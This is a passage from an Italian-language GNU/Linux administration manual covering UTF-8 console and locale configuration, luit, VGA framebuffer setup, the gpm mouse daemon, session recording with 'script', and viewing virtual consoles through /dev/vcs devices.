Bisogna considerare che le sequenze di composizione non funzionano quando la tastiera è stata configurata in modalità UTF-8. Per la precisione, se sono previste, le sequenze di composizione generano i caratteri, ma lo fanno sempre in byte, pertanto, il loro uso diventa inutile e dannoso, perché generalmente i programmi non sono preparati a gestire sequenze incomplete in UTF-8.

15.8.3 Localizzazione

Naturalmente non bisogna dimenticare di definire la configurazione locale corretta. Prima di poter intervenire nella variabile ***LANG*** ed eventualmente nelle variabili ***LC_**** , occorre generare la localizzazione prescelta. Se la propria distribuzione GNU/Linux non fornisce uno strumento più semplice, si può procedere in modo manuale. A partire da '`/usr/share/locale/`' dovrebbero essere disponibili delle sottodirectory che contengono le localizzazioni già definite. Supponendo di voler creare la localizzazione '**`it_IT.UTF-8`**', ci dovrebbe essere la sottodirectory con lo stesso nome: '`it_IT.UTF-8/`'. Se non c'è, la si può creare come nell'esempio seguente:

`localedef -v -c -i it_IT -f UTF-8 /usr/share/locale/it_IT.UTF-8` [*Invio*]

Nel caso di una distribuzione GNU/Linux Debian è più comodo utilizzare il comando seguente:

`dpkg-reconfigure locales` [*Invio*]

```
.-------------------------| Configuring Locales |---------------------------.
| Locale is a framework to switch between multiple languages for users who  |
| can select to use their language, country, characters, collation order,   |
| etc.                                                                       |
|                                                                            |
| Choose which locales to generate.  The selection will be saved to         |
| '/etc/locale.gen', which you can also edit manually (you need to run      |
| 'locale-gen' afterwards).                                                  |
|                                                                            |
| Select locales to be generated.                                            |
|                                                                            |
|     [*] it_CH.UTF-8 UTF-8                                                  |
|     [ ] it_IT@euro ISO-8859-15                                             |
|     [ ] it_IT ISO-8859-1                                                   |
|     [ ] it_IT.UTF-8@euro UTF-8                                             |
|     [*] it_IT.UTF-8 UTF-8                                                  |
|                                                                            |
|                                                                            |
|                    <Ok>                          <Cancel>                  |
|                                                                            |
'----------------------------------------------------------------------------'
```

Una volta creata la localizzazione è sufficiente intervenire nella variabile di ambiente ***LANG***, lasciando vuote le altre variabili ***LC_****:

$ **`LANG=it_IT.UTF-8`** [*Invio*]

$ **`export LANG`** [*Invio*]

15.8.4 Attivare e disattivare l'utilizzo della codifica UTF-8

Il pacchetto Linux console tools[12] contiene due script che dovrebbero facilitare il passaggio rapido alla codifica UTF-8 e il ripristino della codifica normale:

```
unicode_start
```

```
unicode_stop
```

Teoricamente il primo script, che attiva la funzionalità, prevede la possibilità di indicare l'insieme di caratteri da usare; in pratica, forse è meglio definire prima questa cosa.

Vale la pena di vedere cosa fanno questi script. Nei listati seguenti sono state semplificate molte cose:

```
#!/bin/sh
# start unicode mode
dumpkeys | loadkeys --unicode > /dev/null
kbd_mode -u
printf '\033%G'
```

```
#!/bin/sh
# stop unicode
kbd_mode -a
printf '\033%@'
```

Questi script potrebbero essere «rinforzati» aggiungendo la selezione dell'insieme dei caratteri per lo schermo e leggendo la configurazione della mappa della tastiera da un file stabilito. Seguono altri due esempi, sempre molto semplificati, dove in particolare si cerca di inviare il codice di attivazione dello schermo alle prime sei console virtuali:

```
#!/bin/sh
# start console UTF-8
#
kbd_mode -u
loadkeys -c -u /etc/console/boottime.kmap.gz    > /dev/null
for n in 1 2 3 4 5 6
do
    if [ -w /dev/tty$n ]
    then
        printf '\033%G' > /dev/tty$n
    fi
done
/usr/bin/consolechars -f /usr/share/consolefonts/lat1u-16.psf.gz
/usr/bin/consolechars -f /usr/share/consolefonts/LatArCyrHeb-16.psf.gz
```

```
#!/bin/sh
# stop console UTF-8
#
kbd_mode -a
loadkeys /etc/console/boottime.kmap.gz  > /dev/null
for n in 1 2 3 4 5 6
do
    if [ -w /dev/tty$n ]
    then
        printf '\033%@' > /dev/tty$n
    fi
done
/usr/bin/consolechars -f /usr/share/consolefonts/lat1u-16.psf.gz
```

Questi comandi possono essere utilizzati dall'utente '**root**' o da un utente comune, ma nel secondo caso, l'effetto del cambiamento di funzionamento si trasmette in modo incompleto alle console, perché possono mancare i permessi di scrittura ai file di dispositivo delle altre console virtuali. Si osservi che, una volta deciso di configurare la console per l'uso della codifica UTF-8, sarebbe meglio evitare di riportarla a funzionare secondo il vecchio sistema a byte, perché comunque c'è la possibilità di avviare i programmi più vecchi con l'aiuto di '**luit**'.

Riquadro 15.85. Configurazione automatica della console per la codifica UTF-8.

Considerato che UTF-8 consente la rappresentazione di tutti simboli previsti dall'insieme di caratteri universale, è auspicabile che diventi presto lo standard di tutti. Pertanto, è evidente che i passaggi necessari a impostare il terminale della console di un sistema GNU/Linux vadano inseriti all'interno di uno script della procedura di inizializzazione del sistema, in modo che all'avvio sia tutto eseguito automaticamente. Tuttavia, non è detto che le cose funzionino come previsto. Infatti, se si usa un sistema come uDev per la generazione automatica dei file di dispositivo nella directory '`/dev/`', può darsi che nella fase di avvio non ci siano tutti i file riferiti alle console virtuali che si intendono attivare. Per fare in modo che le cose funzionino, anche di fronte a questa difficoltà, può essere il caso di mettere i comandi necessari nel file '`/etc/profile`', in modo che siano eseguiti ogni volta che un utente accede al sistema, anche se questo è controproducente quando si vuole lavorare in una console secondo la vecchia modalità a byte.

15.8.5 Utilizzo di «luit»

Il programma '**luit**', il quale fa parte di X, è un filtro che si utilizza per avviare un altro programma, quando il proprio terminale a caratteri è configurato in modo da gestire la codifica UTF-8 (sia per la tastiera, sia per lo schermo) e il programma in questione utilizza una codifica differente:

luit [***opzioni***] [--] [***programma*** [***argomenti***]]

Come si può intuire dal modello sintattico, in mancanza dell'indicazione di un programma da avviare, '**luit**' avvia una shell. Al posto di descrivere le opzioni di questo programma, vengono mostrati alcuni esempi, a cominciare da quello più semplice, in cui il controllo della conversione avviene semplicemente attraverso la configurazione della variabile ***LC_ALL***:

$ **LC_ALL=en_US.ISO-8859-1 luit** ***mio_programma*** [*Invio*]

In questo caso si avvia il programma ***mio_programma*** specificando per lui la variabile di ambiente ***LC_ALL*** con il valore che si può vedere. Il programma '**`luit`**' fa in modo che i dati provenienti dalla tastiera siano convertiti da UTF-8 a ISO 8859-1, facendo l'opposto per i dati diretti dal programma allo schermo. Si osservi, comunque, che la configurazione locale del tipo '**`en_US.ISO-8859-1`**' deve essere stata predisposta.

```
$ LC_ALL=en_US luit -encoding "ISO 8859-1" mio_programma [Invio]
```

In questo caso, si rende esplicita la codifica con cui deve funzionare il programma '**`mio_programma`**', attraverso l'opzione '**`-encoding`**', secondo la notazione prevista da '**`luit`**'. Per la precisione, si può ottenere l'elenco di tutte le codifiche previste, secondo la notazione di '**`luit`**', con l'opzione '**`-list`**':

```
$ luit -list [Invio]
```

Si osservi che quando ci si collega a un elaboratore remoto, nel quale non è prevista una configurazione locale con una codifica UTF-8, è necessario usare '**`luit`**' come già mostrato, per esempio così:

```
$ LC_ALL=en_US luit -encoding "ISO 8859-1" ssh nodo [Invio]
```

Nell'esempio si può riconoscere l'uso del programma '**`ssh`**', ovvero di Secure Shell.

Si osservi che negli esempi è stata usata la variabile di ambiente ***LC_ALL***, perché questa prende il sopravvento su tutte le variabili ***LC_**** e su ***LANG***.

15.9 Console grafica VGA nei sistemi GNU/Linux

La console di un sistema GNU/Linux è normalmente priva di funzioni grafiche, con una risoluzione di 25 righe per 80 colonne di caratteri. Tuttavia, considerate le dimensioni comuni di uno schermo attuale, diventa auspicabile la possibilità di visualizzare una densità maggiore di caratteri.

In generale, si ritiene consigliabile e necessario solo l'utilizzo delle funzioni di programmazione del tipo di carattere per lo schermo, in modo da poter gestire simboli di alfabeti non latini; tutto il resto, anche la gestione del *frame buffer*, sarebbe meglio riservarlo alle situazioni in cui dovesse rivelarsi indispensabile.

15.9.1 Parametri di avvio: «vga=ask»

All'avvio di un kernel Linux in un elaboratore provvisto di adattatore grafico VGA, è possibile utilizzare il parametro '**`vga`**', per richiedere la visualizzazione sullo schermo della console a una densità maggiore di caratteri:

```
vga=n
```

```
vga=ask
```

Il valore numerico che si può assegnare al parametro '**vga**' dipende dalle caratteristiche dell'adattatore grafico. Pertanto, generalmente si usa assegnare la parola chiave '**ask**', con la quale si ottiene un menù dal quale è possibile selezionare ciò che è disponibile effettivamente.

L'utilizzo con successo di questo parametro di avvio implica che durante il funzionamento del sistema operativo non si modifichino i caratteri predefiniti (si veda la sezione successiva), cosa che però è quasi necessario fare, per poter gestire qualche simbolo in più, oltre a quelli essenziali delle lingue occidentali.

15.9.2 Modifica dei caratteri

Le console virtuali, che normalmente utilizzano schermi VGA, possono essere configurate in modo da utilizzare un insieme di caratteri differente da quello standard (il famigerato CP437) e anche per permettere la visualizzazione di più righe e più colonne.

In passato, nei sistemi GNU/Linux è stato usato il programma '**setfont**', [13] ora sostituito con '**consolechars**', [14] per l'impostazione dei caratteri da mostrare sullo schermo di una console:

```
setfont [opzioni] file_di_configurazione
```

```
consolechars [opzioni]
```

È molto importante l'uso di '**setfont**' o di '**consolechars**' quando si decide di utilizzare un insieme di caratteri esteso, come ISO 8859-1 o meglio ancora come ISO 10646, per poter visualizzare caratteri come le lettere accentate maiuscole, le quali non fanno parte della codifica standard di un'interfaccia video a caratteri tipica.

Per ottenere il risultato, questi programmi si avvalgono di file di definizione dei caratteri, collocati nella directory '`/usr/share/consolefonts/`'.

L'esempio seguente, visto sia per '**setfont**', sia per '**consolechars**', serve a ottenere la visualizzazione di caratteri utili nelle lingue europee, incluso l'arabo e l'ebraico, in uno schermo composto da 25 righe.

```
# setfont /usr/share/consolefonts/LatArCyrHeb-16.psf [Invio]
```

```
# consolechars -f /usr/share/consolefonts/LatArCyrHeb-16.psf [Invio]
```

Eventualmente, se la dimensione dei caratteri non è quella desiderata, si possono provare altri file della famiglia '`LatArCyrHeb-*.psf`'.

Per approfondire la sintassi di questi programmi, si veda la pagina di manuale *setfont(8)* oppure *consolechars(8)*; inoltre si veda la sezione 15.8.1.

15.9.3 Console VGA e «frame buffer»

Il kernel Linux è in grado di gestire graficamente la console, attraverso ciò che viene chiamato *frame buffer*. In pratica, nel kernel vengono incluse delle funzionalità apposite, assieme al codice specifico per l'adattatore grafico da controllare, di solito in forma di moduli (si veda eventualmente la sezione 8.3.18).

Se non si vuole avere questa gestione già attiva in fase di avvio, è consigliabile che queste funzioni risiedano all'interno di moduli del kernel, in modo da poter attivare esattamente ciò che serve al proprio adattatore grafico. Prima di farlo, però, occorre accertarsi di disporre del file di dispositivo '`/dev/fb0`'. Eventualmente, lo si può creare così:

```
# mknod -m 660 /dev/fb0 c 29 0[Invio]
```

Il primo modulo da attivare per mettere in funzione il *frame buffer* è '**`fbcon`**':

```
# modprobe fbcon[Invio]
```

```
# lsmod | grep fbcon[Invio]
```

```
fbcon                  37024  0
tileblit                2688  1 fbcon
font                    8320  1 fbcon
bitblit                 5376  1 fbcon
```

Dopo il caricamento di questo modulo, non si dovrebbe osservare alcun cambiamento per quanto riguarda l'aspetto dello schermo. La fase successiva richiede il caricamento del modulo specifico per l'adattatore grafico, che prima va identificato:

```
# lspci | grep VGA[Invio]
```

```
0000:01:00.0 VGA compatible controller: nVidia Corporation NV5M64 ↩
↪[RIVA TNT2 Model 64/Model 64 Pro] (rev 15)
```

Quindi si cerca il modulo nella directory '`/lib/modules/`***versione***`/kernel/drivers/video/`':

```
# uname -a[Invio]
```

```
Linux nanohost 2.6.15.6 #1 PREEMPT Mon Mar 6 16:05:13 CET 2006 i686 GNU/Linux
```

```
# cd /lib/modules/2.6.15.6/kernel/drivers/video[Invio]
```

```
# find . -name \*fb\* -print[Invio]
```

```
./cyber2000fb.ko
./arcfb.ko
./aty/aty128fb.ko
./aty/atyfb.ko
...
./neofb.ko
./nvidia/nvidiafb.ko
```

```
./pm2fb.ko
…
./vga16fb.ko
./vfb.ko
```

Intuitivamente, si opta per il modulo '**`nvidiafb`**':

`#` **`modprobe nvidiafb`** [*Invio*]

`#` **`lsmod | grep fb`** [*Invio*]

```
nvidiafb              48284  1
fbcon                 37024  73
tileblit               2688  1 fbcon
font                   8320  1 fbcon
bitblit                5376  1 fbcon
```

Se si dispone del programma '**`fbset`**', si può tentare di modificare al volo la risoluzione. Per farlo, occorre leggere prima il contenuto del file '`/etc/fb.modes`':

`#` **`grep ^mode /etc/fb.modes`** [*Invio*]

```
mode "640x480-60"
mode "640x480-72"
mode "640x480-75"
mode "640x480-90"
mode "640x480-100"
mode "768x576-75"
mode "800x600-48-lace"
mode "800x600-56"
mode "800x600-60"
mode "800x600-70"
mode "800x600-72"
mode "800x600-75"
mode "800x600-90"
mode "800x600-100"
mode "1024x768-43-lace"
mode "1024x768-60"
mode "1024x768-70"
mode "1024x768-72"
mode "1024x768-75"
mode "1024x768-90"
mode "1024x768-100"
mode "1152x864-43-lace"
mode "1152x864-47-lace"
mode "1152x864-60"
mode "1152x864-70"
mode "1152x864-75"
mode "1152x864-80"
```

```
mode "1280x960-75-8"
mode "1280x960-75"
mode "1280x960-75-32"
mode "1280x1024-43-lace"
mode "1280x1024-47-lace"
mode "1280x1024-60"
mode "1280x1024-70"
mode "1280x1024-74"
mode "1280x1024-75"
mode "1600x1200-60"
mode "1600x1200-66"
mode "1600x1200-76"
```

Si tenta di utilizzare una risoluzione di '**800x600-60**':

fbset 800x600-60 [*Invio*]

In alternativa, si può indicare la risoluzione e la quantità di colori, senza specificare la frequenza di scansione. In questo caso per i colori e le sfumature si usano 16 bit:

fbset 800 600 800 600 16 [*Invio*]

L'utilizzo del *frame buffer* ha degli inconvenienti: pur usando i moduli, una volta caricati, non è più possibile ritornare alla gestione normale; se si commettono degli errori, si rischia di rendere invisibile e inutilizzabile la console.

15.9.4 «Frame buffer» dall'avvio

Nella sezione precedente è stato mostrato, a grandi linee, il modo in cui è possibile attivare la gestione della console grafica con il *frame buffer*, quando il sistema è già in funzione. Per fare in modo che questa modalità di funzionamento della console sia attiva già al momento dell'avvio del sistema, occorre utilizzare delle opzioni di avvio per il kernel Linux.

Quando si sceglie la strada delle opzioni di avvio, occorre conoscere perfettamente le caratteristiche del proprio adattatore grafico, ma in generale, a meno di avere un adattatore troppo sofisticato o troppo vecchio, conviene usare la modalità standard VESA 2.0.

La gestione della console grafica deve essere già disponibile nel corpo principale del kernel, sia per quanto riguarda la gestione generica della console in modo grafico (che si potrebbe mettere nel modulo '**fbcon**'), sia per la gestione dello standard VESA (il modulo sarebbe '**vesafb**'). Quindi, per queste due cose non si possono usare i moduli.

Quando il kernel è pronto, è sufficiente l'opzione di avvio '**vga=*n***', dove ***n*** va sostituito con un numero, come descritto nella tabella successiva.

Tabella 15.92. Modalità VESA da usare con l'opzione di avvio '**vga=*n***', quando la gestione grafica della console in modalità VESA è inclusa nel kernel.

Profondità di colori	320×200	640×400	640×480	800×500	800×600	896×672
4 bit (16 colori)					770	
8 bit (256 colori)		768	769	879	771	815
15 bit	781	801	784	880	787	816
16 bit	782	802	785	881	788	817
24 bit	783	803	786	882	789	818
32 bit		804	809	883	814	819

Profondità di colori	1024×640	1024×768	1152×720	1280×1024	1440×900	1600×1200
4 bit (16 colori)		772		774		
8 bit (256 colori)	874	773	869	775	864	796
15 bit	875	790	870	793	865	797
16 bit	876	791	871	794	866	798
24 bit	877	792	872	795	867	799
32 bit	878	824	873	829	868	834

Nelle situazioni più comuni si utilizza l'opzione '**vga=791**' per una risoluzione a 1024×768, ottenendo un carattere abbastanza visibile con gli schermi usuali.

Se il proprio adattatore grafico non è compatibile a sufficienza con lo standard VESA 2.0, non è possibile avvalersi di tale funzionalità nel modo descritto, ed eventualmente si può inibire un'opzione già definita con l'opzione '**vga=normal**'. Se si vuole usare la console grafica in ogni caso, partendo dall'avvio, occorre usare opzioni adeguate per il proprio adattatore grafico, il cui codice deve essere incorporato nella porzione principale del kernel Linux.

Per le informazioni dettagliate sulle opzioni di avvio relative ai vari adattatori grafici, va consultata la documentazione del kernel Linux: '***sorgenti_linux***/Documentation/fb/*'.

15.10 Utilizzo del dispositivo di puntamento

Il mouse, in un terminale a caratteri, non è una cosa tanto comune. È normale in un ambiente grafico, ma nel caso di GNU/Linux c'è la possibilità di usarlo anche nelle console virtuali. Per gestire un mouse in questa situazione è necessario un demone che si occupi di seguirlo e di fornire ai programmi le informazioni sulle azioni del mouse stesso. Si tratta in pratica di un servente per la gestione del mouse. Trattandosi di un servente, i programmi con cui si può interagire con il mouse sono dei clienti e dipendono dal servente per il tipo di comunicazione che tra loro deve instaurarsi.

Il servente utilizzato normalmente per GNU/Linux è il demone '**gpm**', il quale ha in particolare il vantaggio di essere utile anche con i programmi che non sono fatti per il mouse, per copiare e incollare del testo.

In alcune situazioni, la gestione del mouse può diventare conflittuale, per esempio quando si utilizza un cosiddetto mouse bus (*bus-mouse*). In questa situazione non è possibile avere

più programmi che leggono contemporaneamente il dispositivo corrispondente al mouse; in pratica non ci può essere in funzione il demone '**gpm**' assieme al sistema grafico X (a meno che X si avvalga proprio di '**gpm**') e nemmeno possono essere messi in funzione più sistemi grafici contemporaneamente. Il demone '**gpm**' è in grado di risolvere il problema occupandosi da solo del mouse e passando a tutte le altre applicazioni eventuali le informazioni sulle azioni compiute con il mouse stesso.

15.10.1 Dispositivo del mouse

Per convenzione, il file '/dev/mouse' dovrebbe corrispondere al dispositivo del mouse. In pratica, si potrebbe creare un collegamento simbolico con questo nome che punta al dispositivo corrispondente al mouse utilizzato effettivamente.

Nel caso particolare dei mouse seriali, cioè di quelli connessi a una porta seriale, sono stati usati in passato i dispositivi '/dev/cua*'. Attualmente, questi sono superati e al loro posto si fa riferimento ai corrispondenti '/dev/ttyS*'.

Quando la lettura di questo dispositivo può essere solo esclusiva, a causa della sua natura, per evitare conflitti tra i programmi nel modo descritto in precedenza, si può creare il file FIFO '/dev/gpmdata'. Questo viene gestito dal demone '**gpm**' allo scopo di fornire a tutti gli altri programmi che accedono direttamente al mouse le informazioni sulle azioni compiute con lo stesso.

mknod /dev/gpmdata p [*Invio*]

Il comando appena mostrato è ciò che serve per creare questo file nel caso non sia già disponibile. Per fare in modo che '**gpm**' gestisca questo file e di conseguenza si occupi del mouse in qualunque situazione, deve essere utilizzata l'opzione '**-R**'. Inoltre, se si utilizza il sistema grafico X è necessario modificare manualmente la sua configurazione ('/etc/X11/XF86Config', '/etc/X11/xorg.conf' o simili) nella sezione '**InputDevice**', più o meno come si vede nell'esempio seguente:

```
Section "InputDevice"
    Identifier  "Generic Mouse"
    Driver      "mouse"
    Option      "CorePointer"
    Option      "Device"            "/dev/gpmdata"
    Option      "Protocol"          "IntelliMouse"
    Option      "Emulate3Buttons"   "true"
    Option      "ZAxisMapping"      "4 5"
    Option      "Buttons"           "5"
EndSection
```

In pratica, per il sistema grafico X e per qualunque altro programma che dovesse accedere al dispositivo del mouse direttamente, si deve fare riferimento al tipo di mouse '**IntelliMouse**', utilizzando il file di dispositivo '/dev/gpmdata'.

Tabella 15.94. Alcuni file riferiti a dispositivi di puntamento secondo il kernel Linux. L'elenco completo può essere consultato nel file '*sorgenti_linux*/Documentation/devices.txt' tra i sorgenti del kernel.

File di dispositivo	Descrizione
'/dev/mouse'	Collegamento simbolico al file di dispositivo oppure a un file FIFO adatto.
'/dev/gpmdata'	File FIFO standard per ritrasmettere il movimento del mouse a più programmi.
'/dev/logibm'	mouse bus Logitech.
'/dev/psaux'	mouse PS/2, o mouse USB compatibile.
'/dev/usb/mouse*n*'	***n***-esimo mouse USB (a partire da zero), non compatibile con il tipo PS/2.

15.10.2 Utilizzo di «gpm»

Il programma '**gpm**'[15] permette di copiare e incollare porzioni dello schermo con i programmi normali e fornisce a quelli predisposti l'accesso a tutte le funzionalità del mouse. Può essere messa in funzione una sola copia del programma alla volta, di conseguenza è normale che '**gpm**' venga avviato una volta per tutte attraverso la procedura di inizializzazione del sistema.

```
gpm [opzioni]
```

A meno di fare uso di opzioni particolari, '**gpm**' si aspetta di trovare il collegamento '/dev/mouse' che punti al file di dispositivo corrispondente al mouse effettivamente a disposizione.

Se '**gpm**' viene utilizzato con l'opzione '**-R**', allora si abilita la gestione del file FIFO '/dev/gpmdata' e tutti gli altri programmi che dovessero accedere direttamente al mouse dovrebbero utilizzare questo file come dispositivo (che, salvo altra indicazione, si comporta come quello di un mouse '**MouseSystems**').

Tabella 15.95. Alcune opzioni.

Opzione	Descrizione
-B *sequenza*	Con questa opzione è possibile definire la disposizione dei tasti. Per esempio, '**gpm -B 123**' indica di utilizzare i tasti nella posizione normale: il primo è quello a sinistra, il secondo è quello centrale e il terzo è quello a destra. Nello stesso modo si può indicare una disposizione inversa per facilitare un utente che preferisce usare la mano sinistra ('**gpm -B 321**').
-m *file*	Permette di indicare un file di dispositivo diverso dal solito '/dev/mouse'.
-R [*tipo*]	Abilita la gestione del file FIFO '/dev/gpmdata' allo scopo di fornire ad altre applicazioni, che accedono direttamente al mouse, le informazioni sulle sue azioni. Se si indica il tipo, questo specifica il protocollo di comunicazione da utilizzare per tale scopo; altrimenti si fa riferimento in modo predefinito al tipo '**MouseSystems**' ('**msc**'). In base agli esempi mostrati, si dovrebbe invece specificare il tipo '**IntelliMouse**' ('**ms3**').
-t *tipo*	Permette di indicare il tipo di mouse a disposizione. Quando non si specifica questa opzione, il tipo predefinito è '**ms**', corrispondente a un mouse Microsoft con due o tre tasti. In particolare, '**-t help**' elenca tutti i tipi disponibili (si veda la tabella 15.96).

Opzione	Descrizione
`-2`	Forza un funzionamento a due tasti. In questo modo il primo tasto serve a evidenziare e l'altro a incollare.
`-3`	Forza un funzionamento a tre tasti. In questo modo il primo tasto serve a evidenziare, il secondo a incollare e il terzo a estendere la zona evidenziata. Questo è il funzionamento predefinito, perché il secondo tasto viene attivato solo a partire dal momento in cui questo viene premuto. Perciò, normalmente, non occorre preoccuparsi di indicare quanti tasti utilizzare.
`-S` ***comandi***	Permette di definire dei comandi da eseguire in corrispondenza di un clic triplo sul primo e sul terzo tasto.

Tabella 15.96. Elenco di alcuni nomi dei tipi di mouse utilizzabili con l'opzione '**`-t`**' e con l'opzione '**`-R`**'.

Tipo	Sinonimo	Descrizione
`mman`	`Mouseman`	Mouseman.
`ms`		Microsoft a due o tre tasti e compatibili (predefinito).
`ms+`		Come '**`ms`**', con il trascinamento nel tasto centrale.
`bare`	`Microsoft`	Microsoft a due tasti.
`msc`	`MouseSystems`	Mouse System, tre tasti.
`sun`		Variante del Mouse System.
`mm`	`MMSeries`	
`logi`	`Logitech`	Alcuni mouse seriali Logitech.
`logim`		Mouse Logitech che devono funzionare come mouse Mouse System a tre tasti.
`bm`	`BusMouse`	Busmouse Microsoft e compatibili.
`ps2`	`PS/2`	Busmouse PS/2.
`ncr`		Alcune penne di puntamento di alcuni portatili (NCR3125pen).
`wacom`		Tavoletta Wacom.
`genitizer`		Tavoletta Genitizer.
`logim`		Mouse Logitech in cui abilitare il funzionamento in modalità Mouse System.
`pnp`		Microsoft pnp.
`imps2`		Microsoft IntelliMouse su porta PS/2.
`ms3`		Mouse seriali IntelliMouse a tre tasti.
`netmouse`		Genius NetMouse (due tasti normali, più un tasto «su» e un tasto «giù»).
`cal`		Calcomp Ultraslate.

Tipo	Sinonimo	Descrizione
calr		Calcomp Ultraslate in modalità relativa.
twid		Tastiera Twidder.
syn	synaptics	Touchpad seriale Synaptics.
syn2	synaptics_ps2	Touchpad PS/2 Synaptics.
brw		Mouse Fellowes Browser a quattro bottoni e una rotella.
js	Joystick	Emulazione del mouse attraverso un joystick.
summa		Tavoletta Summa/Genius.
mtouch		Schermi *touchscreen* MicroTouch.
acecad		Tavolette Acecad in modalità assoluta.
kmiabps2		Kensignton Mouse «in a box» su PS/2.

Il funzionamento di '**gpm**' è relativamente semplice. Quando il mouse è riconosciuto dal programma che si sta utilizzando, dipende da questo il modo di gestire e interpretare le azioni compiute con il mouse. Quando il programma non è in grado di controllare il mouse, è comunque possibile utilizzare la funzione di copia del testo.

Si seleziona una zona dello schermo premendo il primo tasto e trascinando fino alla posizione finale. Per incollare si può cambiare console virtuale, raggiungendo così l'applicazione all'interno della quale incollare il testo, quindi si preme il secondo tasto, o in mancanza il terzo. Il testo viene inserito come se fosse digitato, di conseguenza occorre che il programma lo permetta.

L'opzione '**-S**' permette di definire tre comandi, separati con il simbolo due punti ('**:**'), da eseguire in occasione di un clic triplo con il primo e il terzo tasto. In pratica, si tiene premuto il primo o il terzo tasto, mentre con l'altro (il terzo o il primo rispettivamente) si esegue un clic triplo in rapida successione. Se entro tre secondi dal rilascio dei tasti viene premuto uno dei tre tasti, viene eseguito uno dei comandi indicati nell'argomento di questa opzione.

Per esempio, se si utilizza l'opzione '**-S "echo ciao:echo hello:echo bye"**' e si preme un clic triplo, del tipo descritto, seguito dalla pressione del primo tasto, si ottiene l'esecuzione di '**echo ciao**', cioè viene visualizzata la parola '**ciao**'. Se invece alla fine si seleziona il secondo tasto, si ottiene la parola '**hello**'. Infine, se si tratta del terzo tasto, si ottiene '**bye**'.

Questo sistema potrebbe essere particolarmente utile per definire un comando per il riavvio del sistema, quando per qualche motivo non si può usare la tastiera per farlo e non si rendono disponibili altre alternative.

Segue la descrizione di alcuni esempi.

- # **gpm -t imps2** [*Invio*]

  Avvia '**gpm**' predisponendolo per utilizzare un mouse PS/2 a tre tasti con rotellina (va bene anche se la rotellina non c'è e se i tasti sono solo due).

- # **gpm -R -t imps2** [*Invio*]

  Avvia '**gpm**' predisponendolo per utilizzare un mouse PS/2 a tre tasti con rotellina, abilitando la gestione del file '/dev/gpmdata'. Il sistema grafico X e altri programmi che dovessero accedere direttamente al dispositivo del mouse, dovrebbero essere istruiti a utilizzare il file '/dev/gpmdata', corrispondente a un mouse '**IntelliMouse**'.

- # **gpm -t imps2 -m /dev/psaux -R ms3** [*Invio*]

  Come nell'esempio precedente, avvia '**gpm**' predisponendolo per utilizzare un mouse PS/2 a tre tasti con rotellina, abilitando la gestione del file '/dev/gpmdata'; in particolare viene specificato il file di dispositivo del mouse e il tipo di protocollo da usare per la comunicazione attraverso il file '/dev/gpmdata'.

- # **gpm -S "shutdown -h now:shutdown -r now:init 0"** [*Invio*]

  Avvia '**gpm**' definendo i comandi speciali da eseguire in caso di un clic triplo. Se dopo il clic triplo si preme il primo tasto, si conclude l'attività del sistema; se si preme il secondo, si riavvia; se si preme il terzo, si conclude l'attività, ma attraverso una chiamata diretta all'eseguibile '**init**'.

15.10.3 Avvio del servizio di gestione del mouse

Si è accennato al fatto che il demone '**gpm**' venga avviato normalmente dalla procedura di inizializzazione del sistema, nel modo già stabilito dalla stessa distribuzione GNU/Linux che si utilizza. Se si vogliono gestire funzionalità speciali di '**gpm**', come per esempio il file FIFO '/dev/gpmdata', cosa che si ottiene con l'opzione '**-R**', occorre intervenire nello script che avvia questo demone.

Alcune distribuzioni, prevedono un file di configurazione contenente l'assegnamento di variabili di ambiente che poi vengono incorporate e utilizzate nello script di avvio del servizio '**gpm**'. Tuttavia potrebbe non essere stata prevista la possibilità di aggiungere delle opzioni ulteriori; in tal caso si deve intervenire direttamente nello script.

In particolare, la distribuzione Red Hat gestisce il servizio attraverso lo script '/etc/rc.d/init.d/gpm', mentre la distribuzione Debian usa il file '/etc/init.d/gpm'. Inoltre, la distribuzione Debian mette a disposizione lo script '**gpmconfig**' per facilitare l'intervento nel file di configurazione, corrispondente a '/etc/gpm.conf'.

15.11 Monitoraggio di una sessione di lavoro

L'attività svolta durante una sessione di lavoro attraverso un terminale potrebbe essere registrata volontariamente in modo da annotare le operazioni svolte, eventualmente anche a titolo di prova, come potrebbe essere l'esecuzione di un test di esame.

In aggiunta, le console virtuali di GNU/Linux possono essere osservate attraverso dei dispositivi appositi: '/dev/vcs*'.

15.11.1 Utilizzo di «script»

Il programma '**script**'[16] permette di registrare la sessione di lavoro svolta attraverso un terminale a caratteri. Si avvia il programma e questo, a sua volta, avvia una copia della shell predefinita; da quel momento, tutto ciò che viene digitato ed emesso attraverso il terminale viene memorizzato in un file. Il file può essere indicato nella riga di comando, altrimenti viene creato il file 'typescript' nella directory corrente.

```
script [-a] file
```

L'opzione '**-a**' permette di continuare la registrazione in un file già utilizzato in precedenza, senza cancellarlo inizialmente.

Per terminare l'esecuzione della registrazione della sessione di lavoro, basta concludere l'attività della shell avviata da '**script**'; di solito si tratta di utilizzare il comando '**exit**'.

15.11.2 File di dispositivo «/dev/vcs*»

I file di dispositivo '/dev/vcs*', definiti *Virtual console capture device*, possono essere usati per visualizzare lo schermo di una console particolare. Il meccanismo è estremamente banale, in quanto basta leggere il loro contenuto: in ogni momento, il risultato che si ottiene da questa lettura è l'immagine dello schermo di quella console particolare che quel dispositivo rappresenta.

cat /dev/vcs1 [*Invio*]

L'esempio mostra la visualizzazione del contenuto dello schermo della prima console virtuale, corrispondente al dispositivo '/dev/tty1', dell'istante in cui si esegue il comando.

In particolare, il dispositivo '/dev/vcs0' fa riferimento alla console virtuale attiva, mentre i file contrassegnati da un numero finale (diverso da zero) corrispondono alle rispettive console virtuali, identificate in modo preciso tramite quel numero.

15.12 Strumenti per la gestione delle console virtuali

Le console virtuali di GNU/Linux sono gestite normalmente attraverso la configurazione del file '/etc/inittab', in cui, a seconda del livello di esecuzione, si attivano diversi programmi Getty abbinati ad altrettanti terminali o console virtuali. Generalmente, in questo modo, non vengono utilizzate tutte le console virtuali possibili, pertanto quelle rimanenti potrebbero essere sfruttate per altri scopi.

Le console virtuali disponibili possono essere utilizzate per visualizzare in modo continuo informazioni utili sul funzionamento del sistema, come per esempio quelle provenienti da un file per le registrazioni del sistema (*log*).

tail -f /var/log/messages > /dev/tty10 & [*Invio*]

L'esempio mostra l'utilizzo di '**tail**' per visualizzare la fine del file '/var/log/messages' e tutte le righe che gli vengono aggiunte successivamente. Invece di impegnare il terminale dal quale viene avviato, il comando viene messo sullo sfondo ('**&**') e l'output viene emesso attraverso la decima console virtuale (che si presume sia disponibile).

15.12.1 Utilizzo di «open»

